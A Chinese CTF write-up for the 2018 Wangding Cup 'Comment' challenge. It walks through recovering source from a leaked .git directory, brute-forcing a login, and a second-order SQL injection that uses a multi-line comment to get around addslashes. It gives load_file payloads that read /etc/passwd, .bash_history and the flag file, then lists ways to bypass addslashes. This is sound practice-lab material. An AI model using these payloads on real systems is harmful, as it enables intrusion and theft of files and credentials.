我再次吐槽一下这个BJD,扫描目录太快总给我429,我很绝望啊

1. 获取铭感文件

扫目录,源码泄露,而且打开F12后,发现了一段令人作呕的话

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图1

好家伙,你的意思是,这代码是不全的了

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图2

这时候,用别的大佬的脚本恢复源码,具体用法参考:https://blog.csdn.net/weixin_44377940/article/details/104991188

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图3

PS:上一次BJD的比赛,恢复的是SWP的源码,用的是Vim

2. 二次注入

很明显的二次注入~~

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图4

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图5

可以看到在do=write的时候对我们的categroy等变量进行了转义,每个引号、反斜杠等符号都会加上一个反斜杠(数据库会自动清除反斜杠)。而在do=comment的时候回直接从数据库中对categroy进行调用,没有任何过滤,这导致了二次注入。

坑:

这里有个坑要注意

  1. $sql = "insert into comment
  2. set category = '$category',
  3. content = '$content',
  4. bo_id = '$bo_id'";

这个SQL语句是换行的,所以我们无法用单行注释符,必须用/**/拼接~~

我们拼接的语句如下~~

  1. $sql = "insert into comment
  2. set category = '123',content=user(),/*',
  3. content = '*/#',
  4. bo_id = '$bo_id'";

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图6

发帖后302到这个登录界面,爆破得知密码是zhangwei666

登录以后进行发帖。开始构造payload

  1. $sql = "insert into comment
  2. set category = '123',content=user(),/*',
  3. content = '*/#',
  4. bo_id = '$bo_id'";

这里

  1. /*',
  2. content = '*/#',

被注释了,语句仍然是SQL语句

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图7

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图8

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图9

闭合情况如下

  1. insert into comment
  2. set category = ' ',content=user(),/*',
  3. content = '*/#',
  4. bo_id = '$bo_id'";

很明显二次注入。先addslashes转义存入数据库。再从数据库中查询放入sql语句。没有进行转义注,一开始我在纠结为啥不能直接在发帖页面进行注入,原来是addslashes函数,转义后单引号不能在闭合第一个字段category。

后来我又在纠结comment操作时从board取category的值的时候不是也把单引号取出来了嘛,在本地测试一下

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图10

进入数据库后是没有反斜杠的,居然现在这么简单的问题上卡了这么久,基础还是不牢

注意#是单行注释

  1. ',content=(select(load_file("/etc/passwd"))),/*

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图11

接下来读取文件,注意看到/home/www下以bash身份运行

  1. ',content=(select(load_file("/home/www/.bash_history"))),/*

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图12

  1. ',content=(select(load_file("/tmp/html/.DS_Store"))),/*

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图13

未显示完全,用hex编码显示

  1. ',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图14

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图15

  1. ',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图16

发现flag是假的

  1. ',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

这个文件是从/var/www/html目录中copy过来的,我们回到/var/www/html中读取flag。

跨行注释+二次注入+git还原([网鼎杯 2018]Comment) - 图17

这才是真的

总结绕过addslashes的方式

  1. 设置数据库字符为gbk导致宽字节注入
  2. 使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入
  3. url解码导致绕过addslashes
  4. base64解码导致绕过addslashes
  5. json编码导致绕过addslashes
  6. 没有使用引号保护字符串,直接无视addslashes
  7. 使用了stripslashes(去掉了)
  8. 字符替换导致的绕过addslashes
  9. 参考
  10. https://bbs.ichunqiu.com/thread-10899-1-1.html65